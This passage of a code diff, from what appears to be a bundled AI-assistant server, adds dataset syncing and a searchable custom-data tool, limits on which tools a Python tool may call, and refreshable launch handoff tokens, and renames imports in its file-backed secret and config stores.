@@ -64611,6 +65266,345 @@ function createDefaultToolRegistry() {
|
|
|
64611
65266
|
return registry2;
|
|
64612
65267
|
}
|
|
64613
65268
|
|
|
65269
|
+
// ../../packages/core/dist/dataset/store.js
|
|
65270
|
+
import fs19 from "node:fs/promises";
|
|
65271
|
+
import path26 from "node:path";
|
|
65272
|
+
var DatasetStore = class {
|
|
65273
|
+
filePath;
|
|
65274
|
+
statePath;
|
|
65275
|
+
constructor(storageDir, datasetId) {
|
|
65276
|
+
const safe = datasetId.replace(/[^A-Za-z0-9._-]/g, "_");
|
|
65277
|
+
this.filePath = path26.join(storageDir, "datasets", `${safe}.jsonl`);
|
|
65278
|
+
this.statePath = path26.join(storageDir, "datasets", `${safe}.state.json`);
|
|
65279
|
+
}
|
|
65280
|
+
/** Every record. A malformed line is skipped — one bad line costs one record, not the corpus. */
|
|
65281
|
+
async load() {
|
|
65282
|
+
let raw;
|
|
65283
|
+
try {
|
|
65284
|
+
raw = await fs19.readFile(this.filePath, "utf8");
|
|
65285
|
+
} catch {
|
|
65286
|
+
return [];
|
|
65287
|
+
}
|
|
65288
|
+
const byId = /* @__PURE__ */ new Map();
|
|
65289
|
+
for (const line of raw.split("\n")) {
|
|
65290
|
+
const trimmed = line.trim();
|
|
65291
|
+
if (trimmed.length === 0)
|
|
65292
|
+
continue;
|
|
65293
|
+
try {
|
|
65294
|
+
const parsed = JSON.parse(trimmed);
|
|
65295
|
+
if (typeof parsed.id === "string" && typeof parsed.text === "string")
|
|
65296
|
+
byId.set(parsed.id, parsed);
|
|
65297
|
+
} catch {
|
|
65298
|
+
}
|
|
65299
|
+
}
|
|
65300
|
+
return [...byId.values()];
|
|
65301
|
+
}
|
|
65302
|
+
/** Appends. Re-appending an existing id is how an update is recorded — see `load`. */
|
|
65303
|
+
async append(records) {
|
|
65304
|
+
if (records.length === 0)
|
|
65305
|
+
return;
|
|
65306
|
+
await fs19.mkdir(path26.dirname(this.filePath), { recursive: true });
|
|
65307
|
+
await fs19.writeFile(this.filePath, "", { flag: "a" });
|
|
65308
|
+
const lines = records.map((record2) => JSON.stringify(record2)).join("\n");
|
|
65309
|
+
await fs19.appendFile(this.filePath, `${lines}
|
|
65310
|
+
`, "utf8");
|
|
65311
|
+
}
|
|
65312
|
+
/** Rewrites with exactly these. Temp-and-rename, so an interrupted prune leaves the old file. */
|
|
65313
|
+
async replace(records) {
|
|
65314
|
+
await fs19.mkdir(path26.dirname(this.filePath), { recursive: true });
|
|
65315
|
+
const temporary = `${this.filePath}.tmp`;
|
|
65316
|
+
const body = records.map((record2) => JSON.stringify(record2)).join("\n");
|
|
65317
|
+
await fs19.writeFile(temporary, records.length === 0 ? "" : `${body}
|
|
65318
|
+
`, "utf8");
|
|
65319
|
+
await fs19.rename(temporary, this.filePath);
|
|
65320
|
+
}
|
|
65321
|
+
/**
|
|
65322
|
+
* Rewrites the file with the duplicates collapsed.
|
|
65323
|
+
*
|
|
65324
|
+
* Append-as-upsert means a record updated every hour adds a line every hour, so the file grows
|
|
65325
|
+
* with the *number of syncs* rather than the size of the corpus. Compaction is cheap and only
|
|
65326
|
+
* worth doing when it would actually shrink anything, which the caller decides.
|
|
65327
|
+
*/
|
|
65328
|
+
async compact() {
|
|
65329
|
+
let before;
|
|
65330
|
+
try {
|
|
65331
|
+
before = (await fs19.readFile(this.filePath, "utf8")).split("\n").filter((line) => line.trim().length > 0).length;
|
|
65332
|
+
} catch {
|
|
65333
|
+
return { before: 0, after: 0 };
|
|
65334
|
+
}
|
|
65335
|
+
const records = await this.load();
|
|
65336
|
+
if (records.length === before)
|
|
65337
|
+
return { before, after: before };
|
|
65338
|
+
await this.replace(records);
|
|
65339
|
+
return { before, after: records.length };
|
|
65340
|
+
}
|
|
65341
|
+
async clear() {
|
|
65342
|
+
await fs19.rm(this.filePath, { force: true });
|
|
65343
|
+
await fs19.rm(this.statePath, { force: true });
|
|
65344
|
+
}
|
|
65345
|
+
async sizeBytes() {
|
|
65346
|
+
try {
|
|
65347
|
+
return (await fs19.stat(this.filePath)).size;
|
|
65348
|
+
} catch {
|
|
65349
|
+
return 0;
|
|
65350
|
+
}
|
|
65351
|
+
}
|
|
65352
|
+
/**
|
|
65353
|
+
* When the last successful sync finished, passed to the collector as `since`.
|
|
65354
|
+
*
|
|
65355
|
+
* Written only on success, deliberately: after a failed run the next one must ask for the same
|
|
65356
|
+
* window again, or whatever the source produced while it was broken is skipped for ever with
|
|
65357
|
+
* nothing anywhere recording the gap.
|
|
65358
|
+
*/
|
|
65359
|
+
async lastSyncedAt() {
|
|
65360
|
+
try {
|
|
65361
|
+
const parsed = JSON.parse(await fs19.readFile(this.statePath, "utf8"));
|
|
65362
|
+
return typeof parsed.lastSyncedAt === "number" ? parsed.lastSyncedAt : void 0;
|
|
65363
|
+
} catch {
|
|
65364
|
+
return void 0;
|
|
65365
|
+
}
|
|
65366
|
+
}
|
|
65367
|
+
async recordSync(at) {
|
|
65368
|
+
await fs19.mkdir(path26.dirname(this.statePath), { recursive: true });
|
|
65369
|
+
const temporary = `${this.statePath}.tmp`;
|
|
65370
|
+
await fs19.writeFile(temporary, JSON.stringify({ lastSyncedAt: at }), "utf8");
|
|
65371
|
+
await fs19.rename(temporary, this.statePath);
|
|
65372
|
+
}
|
|
65373
|
+
};
|
|
65374
|
+
function partitionByAge(records, cutoff) {
|
|
65375
|
+
const kept = [];
|
|
65376
|
+
const removed = [];
|
|
65377
|
+
for (const record2 of records) {
|
|
65378
|
+
if (record2.timestamp !== void 0 && record2.timestamp < cutoff)
|
|
65379
|
+
removed.push(record2);
|
|
65380
|
+
else
|
|
65381
|
+
kept.push(record2);
|
|
65382
|
+
}
|
|
65383
|
+
return { kept, removed };
|
|
65384
|
+
}
|
|
65385
|
+
|
|
65386
|
+
// ../../packages/core/dist/dataset/sync.js
|
|
65387
|
+
function datasetEmbedText(record2) {
|
|
65388
|
+
return [record2.title, record2.text].filter((part) => part !== void 0 && part.length > 0).join("\n");
|
|
65389
|
+
}
|
|
65390
|
+
function datasetVectorId(datasetId, recordId) {
|
|
65391
|
+
return `data:${datasetId}:${recordId}`;
|
|
65392
|
+
}
|
|
65393
|
+
async function syncDataset(options) {
|
|
65394
|
+
const now = options.now ?? Date.now();
|
|
65395
|
+
const held = await options.store.load();
|
|
65396
|
+
const heldById = new Map(held.map((record2) => [record2.id, record2]));
|
|
65397
|
+
options.onProgress?.(0, 0, "Running the collector");
|
|
65398
|
+
const since2 = await options.store.lastSyncedAt();
|
|
65399
|
+
const payload = await options.collect(since2);
|
|
65400
|
+
const parsed = parseDatasetPayload(payload);
|
|
65401
|
+
if ("error" in parsed)
|
|
65402
|
+
throw new Error(parsed.error);
|
|
65403
|
+
const collected = parsed.records;
|
|
65404
|
+
const changed = collected.filter((record2) => {
|
|
65405
|
+
const existing = heldById.get(record2.id);
|
|
65406
|
+
return existing === void 0 || JSON.stringify(existing) !== JSON.stringify(record2);
|
|
65407
|
+
});
|
|
65408
|
+
let embedded = 0;
|
|
65409
|
+
if (options.semantic !== void 0 && changed.length > 0) {
|
|
65410
|
+
const { embedder, writer, collection } = options.semantic;
|
|
65411
|
+
await writer.ensureCollection(collection, embedder.dimensions, options.signal);
|
|
65412
|
+
const documents = [];
|
|
65413
|
+
for (const record2 of changed) {
|
|
65414
|
+
if (options.signal?.aborted === true)
|
|
65415
|
+
throw new Error("Stopped.");
|
|
65416
|
+
options.onProgress?.(documents.length, changed.length, "Embedding new and changed records");
|
|
65417
|
+
const existing = heldById.get(record2.id);
|
|
65418
|
+
if (existing !== void 0 && datasetEmbedText(existing) === datasetEmbedText(record2))
|
|
65419
|
+
continue;
|
|
65420
|
+
const text = datasetEmbedText(record2);
|
|
65421
|
+
if (text.trim().length === 0)
|
|
65422
|
+
continue;
|
|
65423
|
+
documents.push({
|
|
65424
|
+
id: datasetVectorId(options.datasetId, record2.id),
|
|
65425
|
+
text,
|
|
65426
|
+
// The id travels in `path`, which is how a hit is joined back to its record.
|
|
65427
|
+
path: datasetVectorId(options.datasetId, record2.id),
|
|
65428
|
+
startLine: 1,
|
|
65429
|
+
endLine: 1,
|
|
65430
|
+
vector: await embedder.embed(text)
|
|
65431
|
+
});
|
|
65432
|
+
}
|
|
65433
|
+
if (documents.length > 0) {
|
|
65434
|
+
await writer.upsert(collection, documents, options.signal);
|
|
65435
|
+
embedded = documents.length;
|
|
65436
|
+
}
|
|
65437
|
+
}
|
|
65438
|
+
if (changed.length > 0)
|
|
65439
|
+
await options.store.append(changed);
|
|
65440
|
+
let removed = 0;
|
|
65441
|
+
if (options.retentionDays !== void 0) {
|
|
65442
|
+
const cutoff = now - options.retentionDays * 24 * 60 * 60 * 1e3;
|
|
65443
|
+
const after = await options.store.load();
|
|
65444
|
+
const { kept, removed: old } = partitionByAge(after, cutoff);
|
|
65445
|
+
if (old.length > 0) {
|
|
65446
|
+
options.onProgress?.(0, old.length, "Removing records past retention");
|
|
65447
|
+
if (options.semantic !== void 0) {
|
|
65448
|
+
await options.semantic.writer.deleteByPaths(options.semantic.collection, old.map((record2) => datasetVectorId(options.datasetId, record2.id)), options.signal);
|
|
65449
|
+
}
|
|
65450
|
+
await options.store.replace(kept);
|
|
65451
|
+
removed = old.length;
|
|
65452
|
+
}
|
|
65453
|
+
}
|
|
65454
|
+
await options.store.compact();
|
|
65455
|
+
await options.store.recordSync(now);
|
|
65456
|
+
const total = (await options.store.load()).length;
|
|
65457
|
+
return { collected: collected.length, updated: changed.length, embedded, removed, total };
|
|
65458
|
+
}
|
|
65459
|
+
async function clearDataset(options) {
|
|
65460
|
+
const held = await options.store.load();
|
|
65461
|
+
if (options.semantic !== void 0 && held.length > 0) {
|
|
65462
|
+
const size = 500;
|
|
65463
|
+
const paths = held.map((record2) => datasetVectorId(options.datasetId, record2.id));
|
|
65464
|
+
for (let start = 0; start < paths.length; start += size) {
|
|
65465
|
+
if (options.signal?.aborted === true)
|
|
65466
|
+
throw new Error("Stopped.");
|
|
65467
|
+
options.onProgress?.(Math.min(start + size, paths.length), paths.length, "Removing vectors");
|
|
65468
|
+
await options.semantic.writer.deleteByPaths(options.semantic.collection, paths.slice(start, start + size), options.signal);
|
|
65469
|
+
}
|
|
65470
|
+
}
|
|
65471
|
+
await options.store.clear();
|
|
65472
|
+
return { removed: held.length };
|
|
65473
|
+
}
|
|
65474
|
+
|
|
65475
|
+
// ../../packages/core/dist/tools/searchData.js
|
|
65476
|
+
var searchSchema3 = external_exports.object({
|
|
65477
|
+
dataset: external_exports.string().optional().describe("Which dataset to search, by name. Omit to search all of them."),
|
|
65478
|
+
query: external_exports.string().optional().describe("Rank by meaning. Omit to get the most recent records in the window."),
|
|
65479
|
+
withinDays: external_exports.number().min(0.01).optional().describe("Only records with a timestamp this recent. Records with no timestamp are excluded."),
|
|
65480
|
+
contains: external_exports.string().optional().describe("Only records whose title or text contains this text. Exact, case-insensitive."),
|
|
65481
|
+
tag: external_exports.string().optional().describe("Filter on a tag, as `name=value`. Exact."),
|
|
65482
|
+
limit: external_exports.number().int().min(1).max(50).optional().describe("How many to return. Default 15.")
|
|
65483
|
+
});
|
|
65484
|
+
function describe4(record2, dataset) {
|
|
65485
|
+
const when = record2.timestamp === void 0 ? "" : `${new Date(record2.timestamp).toLocaleString()} `;
|
|
65486
|
+
const heading = record2.title ?? record2.text.trim().split("\n")[0]?.slice(0, 100) ?? record2.id;
|
|
65487
|
+
const body = record2.text.trim().slice(0, 400);
|
|
65488
|
+
return `${when}[${dataset}] ${heading}
|
|
65489
|
+
id: ${record2.id}${record2.url === void 0 ? "" : ` ${record2.url}`}
|
|
65490
|
+
${body}`;
|
|
65491
|
+
}
|
|
65492
|
+
function createSearchDataTool(options) {
|
|
65493
|
+
return {
|
|
65494
|
+
name: "search_data",
|
|
65495
|
+
group: "read",
|
|
65496
|
+
description: "Searches the custom datasets the user collects with their own Python tools \u2014 tickets, wiki pages, rows from an internal system, whatever they have set up. Use it whenever a question is about the organisation's own data rather than about this codebase. `dataset` picks one by name, `withinDays` and `tag` are exact filters applied before any ranking, and `query` ranks what is left by meaning. Call it with no arguments to see what is there. These are exact counts over what has been synced, not a live query against the source \u2014 so the answer is only as current as the last sync, which is reported.",
|
|
65497
|
+
parametersSchema: searchSchema3,
|
|
65498
|
+
execute: async (params) => {
|
|
65499
|
+
try {
|
|
65500
|
+
const datasets = await options.load();
|
|
65501
|
+
if (datasets.length === 0) {
|
|
65502
|
+
return {
|
|
65503
|
+
content: "No custom datasets are configured, so there is nothing to search. The user sets these up in Settings \u2192 Custom data, by pointing at a Python tool that returns records. Say that rather than reporting that nothing was found."
|
|
65504
|
+
};
|
|
65505
|
+
}
|
|
65506
|
+
const wanted = params.dataset === void 0 ? datasets : datasets.filter((entry) => entry.name.toLowerCase() === params.dataset?.toLowerCase());
|
|
65507
|
+
if (wanted.length === 0) {
|
|
65508
|
+
return {
|
|
65509
|
+
content: `There is no dataset called "${params.dataset ?? ""}". Configured: ${datasets.map((entry) => entry.name).join(", ")}.`,
|
|
65510
|
+
isError: true
|
|
65511
|
+
};
|
|
65512
|
+
}
|
|
65513
|
+
let candidates = wanted.flatMap((entry) => entry.records.map((record2) => ({ dataset: entry.name, datasetId: entry.id, record: record2 })));
|
|
65514
|
+
const narrowed = [];
|
|
65515
|
+
if (params.withinDays !== void 0) {
|
|
65516
|
+
const cutoff = Date.now() - params.withinDays * 24 * 60 * 60 * 1e3;
|
|
65517
|
+
candidates = candidates.filter((entry) => entry.record.timestamp !== void 0 && entry.record.timestamp >= cutoff);
|
|
65518
|
+
narrowed.push(`in the last ${String(params.withinDays)} day(s)`);
|
|
65519
|
+
}
|
|
65520
|
+
if (params.tag !== void 0) {
|
|
65521
|
+
const [name, value] = params.tag.split("=");
|
|
65522
|
+
candidates = candidates.filter((entry) => value === void 0 ? entry.record.tags?.[name ?? ""] !== void 0 : entry.record.tags?.[name ?? ""] === value);
|
|
65523
|
+
narrowed.push(`tagged ${params.tag}`);
|
|
65524
|
+
}
|
|
65525
|
+
if (params.contains !== void 0) {
|
|
65526
|
+
const needle = params.contains.toLowerCase();
|
|
65527
|
+
candidates = candidates.filter((entry) => `${entry.record.title ?? ""}
|
|
65528
|
+
${entry.record.text}`.toLowerCase().includes(needle));
|
|
65529
|
+
narrowed.push(`containing "${params.contains}"`);
|
|
65530
|
+
}
|
|
65531
|
+
const criteria = narrowed.length === 0 ? "" : `, ${narrowed.join(", ")}`;
|
|
65532
|
+
if (candidates.length === 0) {
|
|
65533
|
+
return {
|
|
65534
|
+
content: `Nothing in ${wanted.map((entry) => entry.name).join(", ")}${criteria}. This is an exact answer over what has been synced \u2014 but it is only as current as the last sync.`
|
|
65535
|
+
};
|
|
65536
|
+
}
|
|
65537
|
+
const limit = params.limit ?? 15;
|
|
65538
|
+
let ordered = candidates.sort((a, b) => (b.record.timestamp ?? 0) - (a.record.timestamp ?? 0));
|
|
65539
|
+
let how = "";
|
|
65540
|
+
const asked = params.query?.trim() ?? "";
|
|
65541
|
+
if (asked.length > 0 && options.semantic === void 0) {
|
|
65542
|
+
const words = asked.toLowerCase().split(/\s+/).filter((word) => word.length > 2);
|
|
65543
|
+
const needle = asked.toLowerCase();
|
|
65544
|
+
candidates = candidates.filter((entry) => {
|
|
65545
|
+
const haystack = `${entry.record.title ?? ""}
|
|
65546
|
+
${entry.record.text}`.toLowerCase();
|
|
65547
|
+
return words.length === 0 ? haystack.includes(needle) : words.some((word) => haystack.includes(word));
|
|
65548
|
+
});
|
|
65549
|
+
if (candidates.length === 0) {
|
|
65550
|
+
return {
|
|
65551
|
+
content: `Nothing in ${wanted.map((entry) => entry.name).join(", ")}${criteria} mentions "${asked}". No embedding model is configured, so this was matched on words rather than meaning \u2014 something saying the same thing differently would not be found.`
|
|
65552
|
+
};
|
|
65553
|
+
}
|
|
65554
|
+
ordered = candidates;
|
|
65555
|
+
how = " matched on words, not meaning \u2014 no embedding model is configured";
|
|
65556
|
+
}
|
|
65557
|
+
if (asked.length > 0 && options.semantic !== void 0) {
|
|
65558
|
+
const vector = await options.semantic.embedder.embed(asked);
|
|
65559
|
+
const hits = await options.semantic.searcher.searchByVector(options.semantic.collection, vector, {
|
|
65560
|
+
size: Math.min(100, Math.max(limit * 4, 40))
|
|
65561
|
+
});
|
|
65562
|
+
const rank2 = /* @__PURE__ */ new Map();
|
|
65563
|
+
hits.forEach((hit, position) => {
|
|
65564
|
+
if (!rank2.has(hit.path))
|
|
65565
|
+
rank2.set(hit.path, position);
|
|
65566
|
+
});
|
|
65567
|
+
ordered = [...candidates].sort((a, b) => {
|
|
65568
|
+
const left = rank2.get(`data:${a.datasetId}:${a.record.id}`);
|
|
65569
|
+
const right = rank2.get(`data:${b.datasetId}:${b.record.id}`);
|
|
65570
|
+
if (left !== void 0 && right !== void 0)
|
|
65571
|
+
return left - right;
|
|
65572
|
+
if (left !== void 0)
|
|
65573
|
+
return -1;
|
|
65574
|
+
if (right !== void 0)
|
|
65575
|
+
return 1;
|
|
65576
|
+
return (b.record.timestamp ?? 0) - (a.record.timestamp ?? 0);
|
|
65577
|
+
});
|
|
65578
|
+
how = " ranked by meaning";
|
|
65579
|
+
}
|
|
65580
|
+
const shown = ordered.slice(0, limit);
|
|
65581
|
+
return {
|
|
65582
|
+
content: [
|
|
65583
|
+
`${String(candidates.length)} record(s) in ${wanted.map((entry) => entry.name).join(", ")}${criteria}${how}${candidates.length > shown.length ? `, showing ${String(shown.length)}` : ""}:`,
|
|
65584
|
+
"",
|
|
65585
|
+
...shown.map((entry) => describe4(entry.record, entry.dataset)),
|
|
65586
|
+
"",
|
|
65587
|
+
"This is what has been synced, not a live query against the source. If the answer depends on something very recent, say when the dataset was last synced rather than implying it is current."
|
|
65588
|
+
].join("\n")
|
|
65589
|
+
};
|
|
65590
|
+
} catch (error51) {
|
|
65591
|
+
return { content: error51 instanceof Error ? error51.message : String(error51), isError: true };
|
|
65592
|
+
}
|
|
65593
|
+
}
|
|
65594
|
+
};
|
|
65595
|
+
}
|
|
65596
|
+
|
|
65597
|
+
// ../../packages/core/dist/python/callPolicy.js
|
|
65598
|
+
var PYTHON_CALL_DENIED = "A Python tool may only call other Python tools and MCP tools. Built-in tools \u2014 running commands, editing files, creating tools or writing skills \u2014 are deliberately out of reach: a tool body is model-authored, and approving one must not silently grant the rest.";
|
|
65599
|
+
function mayPythonToolCall(name, group) {
|
|
65600
|
+
if (name.startsWith("py__"))
|
|
65601
|
+
return true;
|
|
65602
|
+
return group === "mcp";
|
|
65603
|
+
}
|
|
65604
|
+
function describeNestedCall(caller, callee) {
|
|
65605
|
+
return `The Python tool "${caller}" is asking to call "${callee}".`;
|
|
65606
|
+
}
|
|
65607
|
+
|
|
64614
65608
|
// src/sharedConfig.ts
|
|
64615
65609
|
var EMPTY = { variables: [], adminIds: [], profiles: [] };
|
|
64616
65610
|
var SharedConfigStore = class {
|
|
@@ -64622,7 +65616,7 @@ var SharedConfigStore = class {
|
|
|
64622
65616
|
async load() {
|
|
64623
65617
|
if (this.cache !== void 0) return this.cache;
|
|
64624
65618
|
try {
|
|
64625
|
-
const raw = JSON.parse(await
|
|
65619
|
+
const raw = JSON.parse(await fs20.readFile(this.filePath, "utf8"));
|
|
64626
65620
|
const variables = sessionVariablesSchema.safeParse(raw["variables"]);
|
|
64627
65621
|
const adminIds = Array.isArray(raw["adminIds"]) ? raw["adminIds"].filter((id) => typeof id === "string") : [];
|
|
64628
65622
|
const profiles = external_exports.array(providerProfileSchema).safeParse(raw["profiles"]);
|
|
@@ -64643,21 +65637,21 @@ var SharedConfigStore = class {
|
|
|
64643
65637
|
async save(next) {
|
|
64644
65638
|
const current = await this.load();
|
|
64645
65639
|
const merged = { ...current, ...next };
|
|
64646
|
-
await
|
|
65640
|
+
await fs20.mkdir(path27.dirname(this.filePath), { recursive: true });
|
|
64647
65641
|
const temporary = `${this.filePath}.tmp`;
|
|
64648
|
-
await
|
|
64649
|
-
await
|
|
65642
|
+
await fs20.writeFile(temporary, JSON.stringify(merged, null, 2), { encoding: "utf8", mode: 384 });
|
|
65643
|
+
await fs20.rename(temporary, this.filePath);
|
|
64650
65644
|
this.cache = merged;
|
|
64651
65645
|
return merged;
|
|
64652
65646
|
}
|
|
64653
65647
|
};
|
|
64654
65648
|
|
|
64655
65649
|
// src/server.ts
|
|
64656
|
-
import
|
|
65650
|
+
import fs25 from "node:fs/promises";
|
|
64657
65651
|
import {
|
|
64658
65652
|
createServer
|
|
64659
65653
|
} from "node:http";
|
|
64660
|
-
import
|
|
65654
|
+
import path32 from "node:path";
|
|
64661
65655
|
|
|
64662
65656
|
// src/identity.ts
|
|
64663
65657
|
import crypto5 from "node:crypto";
|
|
@@ -64669,13 +65663,36 @@ var SingleUserIdentity = class _SingleUserIdentity {
|
|
|
64669
65663
|
/**
|
|
64670
65664
|
* Single-use and short-lived, because it travels in the launch URL's fragment where it
|
|
64671
65665
|
* can end up in shell history or a terminal scrollback (§14).
|
|
65666
|
+
*
|
|
65667
|
+
* Ten seconds is right when the browser opens itself, and far too short when a person has to
|
|
65668
|
+
* move the URL by hand — into another application, a remote session, a phone. `--handoff-seconds`
|
|
65669
|
+
* raises it, and what that costs is stated where it is set: a longer window is a longer time in
|
|
65670
|
+
* which somebody reading that scrollback can use it before you do.
|
|
64672
65671
|
*/
|
|
64673
65672
|
handoffToken = crypto5.randomBytes(32).toString("base64url");
|
|
64674
|
-
handoffExpiresAt
|
|
65673
|
+
handoffExpiresAt;
|
|
65674
|
+
handoffSeconds;
|
|
65675
|
+
constructor(handoffSeconds = 10) {
|
|
65676
|
+
this.handoffSeconds = handoffSeconds;
|
|
65677
|
+
this.handoffExpiresAt = Date.now() + handoffSeconds * 1e3;
|
|
65678
|
+
}
|
|
64675
65679
|
get launchToken() {
|
|
64676
65680
|
if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
|
|
64677
65681
|
return this.handoffToken;
|
|
64678
65682
|
}
|
|
65683
|
+
/**
|
|
65684
|
+
* Mints a fresh handoff token, replacing any outstanding one.
|
|
65685
|
+
*
|
|
65686
|
+
* For the case the old design had no answer to: the token expired unused, and the only way back
|
|
65687
|
+
* was to stop the server and start it again — losing the session, the conversation and anything
|
|
65688
|
+
* running. A new token grants exactly what the first one did, to whoever can read the terminal,
|
|
65689
|
+
* which is the same person it was printed to in the first place.
|
|
65690
|
+
*/
|
|
65691
|
+
remintHandoff() {
|
|
65692
|
+
this.handoffToken = crypto5.randomBytes(32).toString("base64url");
|
|
65693
|
+
this.handoffExpiresAt = Date.now() + this.handoffSeconds * 1e3;
|
|
65694
|
+
return this.handoffToken;
|
|
65695
|
+
}
|
|
64679
65696
|
/**
|
|
64680
65697
|
* Exchanges the handoff token for the session token, once.
|
|
64681
65698
|
*
|
|
@@ -64683,11 +65700,23 @@ var SingleUserIdentity = class _SingleUserIdentity {
|
|
|
64683
65700
|
* or an attack, and in both cases the right answer is that this token is now spent.
|
|
64684
65701
|
*/
|
|
64685
65702
|
redeemHandoff(presented) {
|
|
65703
|
+
return this.redeem(presented).token;
|
|
65704
|
+
}
|
|
65705
|
+
/**
|
|
65706
|
+
* The same exchange, saying *why* it failed.
|
|
65707
|
+
*
|
|
65708
|
+
* The reasons need different handling and only one of them is anybody's fault. An expired token
|
|
65709
|
+
* is an ordinary mishap — the browser was slow, the URL was pasted late — and the right response
|
|
65710
|
+
* is to offer another. A token that does not match is either a bug or an attack, and the right
|
|
65711
|
+
* response there is nothing at all.
|
|
65712
|
+
*/
|
|
65713
|
+
redeem(presented) {
|
|
64686
65714
|
const expected = this.handoffToken;
|
|
64687
65715
|
const expiresAt = this.handoffExpiresAt;
|
|
64688
65716
|
this.handoffToken = void 0;
|
|
64689
|
-
if (expected === void 0
|
|
64690
|
-
|
|
65717
|
+
if (expected === void 0) return { reason: "spent" };
|
|
65718
|
+
if (Date.now() > expiresAt) return { reason: "expired" };
|
|
65719
|
+
return timingSafeEquals(presented, expected) ? { token: this.sessionToken } : { reason: "mismatch" };
|
|
64691
65720
|
}
|
|
64692
65721
|
async authenticate(request) {
|
|
64693
65722
|
const header = request.headers.authorization;
|
|
@@ -64704,6 +65733,13 @@ function timingSafeEquals(a, b) {
|
|
|
64704
65733
|
function storageKeyFor(principal) {
|
|
64705
65734
|
return crypto5.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
|
|
64706
65735
|
}
|
|
65736
|
+
var OpenIdentity = class _OpenIdentity {
|
|
65737
|
+
describe = "single user, no token (--no-token)";
|
|
65738
|
+
static PRINCIPAL = { id: "local", displayName: "Local user" };
|
|
65739
|
+
async authenticate() {
|
|
65740
|
+
return _OpenIdentity.PRINCIPAL;
|
|
65741
|
+
}
|
|
65742
|
+
};
|
|
64707
65743
|
|
|
64708
65744
|
// src/security.ts
|
|
64709
65745
|
var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
|
|
@@ -64770,8 +65806,8 @@ async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
|
|
|
64770
65806
|
}
|
|
64771
65807
|
|
|
64772
65808
|
// src/fileSecretStore.ts
|
|
64773
|
-
import
|
|
64774
|
-
import
|
|
65809
|
+
import fs21 from "node:fs/promises";
|
|
65810
|
+
import path28 from "node:path";
|
|
64775
65811
|
var FileSecretStore = class {
|
|
64776
65812
|
constructor(filePath) {
|
|
64777
65813
|
this.filePath = filePath;
|
|
@@ -64783,7 +65819,7 @@ var FileSecretStore = class {
|
|
|
64783
65819
|
async load() {
|
|
64784
65820
|
if (this.cache !== void 0) return this.cache;
|
|
64785
65821
|
try {
|
|
64786
|
-
const raw = await
|
|
65822
|
+
const raw = await fs21.readFile(this.filePath, "utf8");
|
|
64787
65823
|
const parsed = JSON.parse(raw);
|
|
64788
65824
|
this.cache = typeof parsed === "object" && parsed !== null ? parsed : {};
|
|
64789
65825
|
} catch {
|
|
@@ -64795,10 +65831,10 @@ var FileSecretStore = class {
|
|
|
64795
65831
|
this.queue = this.queue.then(async () => {
|
|
64796
65832
|
const secrets = await this.load();
|
|
64797
65833
|
mutate(secrets);
|
|
64798
|
-
await
|
|
65834
|
+
await fs21.mkdir(path28.dirname(this.filePath), { recursive: true });
|
|
64799
65835
|
const temp = `${this.filePath}.${process.pid}.tmp`;
|
|
64800
|
-
await
|
|
64801
|
-
await
|
|
65836
|
+
await fs21.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
|
|
65837
|
+
await fs21.rename(temp, this.filePath);
|
|
64802
65838
|
});
|
|
64803
65839
|
return this.queue;
|
|
64804
65840
|
}
|
|
@@ -64829,8 +65865,8 @@ var FileSecretStore = class {
|
|
|
64829
65865
|
|
|
64830
65866
|
// src/reviewQueue.ts
|
|
64831
65867
|
import crypto6 from "node:crypto";
|
|
64832
|
-
import
|
|
64833
|
-
import
|
|
65868
|
+
import fs22 from "node:fs/promises";
|
|
65869
|
+
import path29 from "node:path";
|
|
64834
65870
|
var ReviewQueue = class {
|
|
64835
65871
|
constructor(filePath) {
|
|
64836
65872
|
this.filePath = filePath;
|
|
@@ -64840,7 +65876,7 @@ var ReviewQueue = class {
|
|
|
64840
65876
|
async load() {
|
|
64841
65877
|
if (this.cache !== void 0) return this.cache;
|
|
64842
65878
|
try {
|
|
64843
|
-
const parsed = JSON.parse(await
|
|
65879
|
+
const parsed = JSON.parse(await fs22.readFile(this.filePath, "utf8"));
|
|
64844
65880
|
this.cache = Array.isArray(parsed) ? parsed : [];
|
|
64845
65881
|
} catch {
|
|
64846
65882
|
this.cache = [];
|
|
@@ -64849,10 +65885,10 @@ var ReviewQueue = class {
|
|
|
64849
65885
|
}
|
|
64850
65886
|
async persist(items) {
|
|
64851
65887
|
this.cache = items;
|
|
64852
|
-
await
|
|
65888
|
+
await fs22.mkdir(path29.dirname(this.filePath), { recursive: true });
|
|
64853
65889
|
const temporary = `${this.filePath}.tmp`;
|
|
64854
|
-
await
|
|
64855
|
-
await
|
|
65890
|
+
await fs22.writeFile(temporary, JSON.stringify(items, null, 2), { encoding: "utf8", mode: 384 });
|
|
65891
|
+
await fs22.rename(temporary, this.filePath);
|
|
64856
65892
|
}
|
|
64857
65893
|
async list() {
|
|
64858
65894
|
return [...await this.load()];
|
|
@@ -65007,9 +66043,9 @@ var RoutedSecretStore = class {
|
|
|
65007
66043
|
};
|
|
65008
66044
|
|
|
65009
66045
|
// src/userVariables.ts
|
|
65010
|
-
import
|
|
66046
|
+
import fs23 from "node:fs/promises";
|
|
65011
66047
|
import { readFileSync } from "node:fs";
|
|
65012
|
-
import
|
|
66048
|
+
import path30 from "node:path";
|
|
65013
66049
|
var UserVariableStore = class {
|
|
65014
66050
|
constructor(filePath) {
|
|
65015
66051
|
this.filePath = filePath;
|
|
@@ -65024,21 +66060,21 @@ var UserVariableStore = class {
|
|
|
65024
66060
|
}
|
|
65025
66061
|
async save(variables) {
|
|
65026
66062
|
const parsed = sessionVariablesSchema.parse(variables);
|
|
65027
|
-
await
|
|
66063
|
+
await fs23.mkdir(path30.dirname(this.filePath), { recursive: true });
|
|
65028
66064
|
const temporary = `${this.filePath}.tmp`;
|
|
65029
|
-
await
|
|
66065
|
+
await fs23.writeFile(temporary, JSON.stringify({ variables: parsed }, null, 2), {
|
|
65030
66066
|
encoding: "utf8",
|
|
65031
66067
|
mode: 384
|
|
65032
66068
|
});
|
|
65033
|
-
await
|
|
66069
|
+
await fs23.rename(temporary, this.filePath);
|
|
65034
66070
|
return parsed;
|
|
65035
66071
|
}
|
|
65036
66072
|
};
|
|
65037
66073
|
function userVariableStoreFor(dataDir, principal) {
|
|
65038
|
-
return new UserVariableStore(userVariablesPath(
|
|
66074
|
+
